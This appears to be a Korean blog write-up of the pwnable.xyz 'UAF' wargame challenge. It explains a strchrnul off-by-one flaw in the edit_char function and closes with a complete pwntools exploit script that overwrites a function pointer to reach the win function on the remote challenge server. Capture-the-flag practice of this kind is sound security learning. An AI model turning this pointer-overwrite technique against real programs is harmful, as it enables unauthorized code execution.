본문으로 바로가기

pwnable.xyz / UAF

category Wargame/pwnable.xyz 2020. 1. 17. 04:51

이 바이너리는 아래와 같은 크기 0x90의 구조체를 사용한다.

 

 

    switch ( read_int32() )
    {
      case 0uLL:
        return 0;
      case 1uLL:
        cur->calc();
        break;
      case 2uLL:
        save_game();
        break;
      case 3uLL:
        delete_save();
        break;
      case 4uLL:
        printf("Save name: %s\n"cur);
        break;
      case 5uLL:
        edit_char();
        break;
      default:
        puts("Invalid");
        break;
    }

 

1번 메뉴에서만 고정된 함수 대신 구조체의 함수 포인터를 사용한다. 아마 이 값을 바꿔야 하는 게 목적일 듯 하다.

 

한편 존재 이유가 의심스러운 edit_char 라는 함수가 있다.

 

void __fastcall edit_char()
{
  char old_ch// [rsp+6h] [rbp-Ah]
  char new_ch// [rsp+7h] [rbp-9h]
  char *ptr// [rsp+8h] [rbp-8h]

  puts("Edit a character from your name.");

  printf("Char to replace: ");
  old_ch = getchar();
  getchar();

  printf("New char: ");
  new_ch = getchar();
  getchar();

  if ( old_ch && new_ch )
  {
    ptr = strchrnul(cur->name, old_ch);

    if ( ptr )
      *ptr = new_ch;
    else
      puts("Character not found.");
  }
}

 

strchrnul 함수는 문자를 찾지 못할 경우 문자열의 끝인 NULL의 위치를 반환한다고 한다. 그런데 if문 안에 있는 조건식은 *ptr 이 아니라 ptr 이다. 따라서 어떤 입력이 주어지던 간에 상관 없이 항상 ptr 가 가리키는 문자를 바꿀 수 있게 된다. ptr 이 NULL이라면 문자열의 길이를 1 늘릴 수 있다는 뜻이다.

기존의 cur->calc 은 0x400D6B 로 항상 고정이므로 앞의 2바이트를 패치해서 win 함수의 주소 0x400CF3 으로 바꿔주면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import argparse


def ChangeChar(before:bytesafter:bytes) :
    p.writeafter(b'> 'b'5')
    p.writelineafter(b': ', before)
    p.writelineafter(b': ', after)

def exploit() :
    p.writeafter(b': 'b'A'*0x7F)

    for i in range(5) :
        ChangeChar(b'F'b'B')

    ChangeChar(b'\x6B'b'\xF3')
    ChangeChar(b'\x0D'b'\x0C')

    p.writeafter(b'> 'b'1')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = remote('svc.pwnable.xyz'30015)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 2/9/2021

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / fclose  (0) 2020.01.18
pwnable.xyz / message  (0) 2020.01.17
pwnable.xyz / iape  (0) 2020.01.16
pwnable.xyz / strcat  (0) 2020.01.16
pwnable.xyz / J-U-M-P  (0) 2020.01.15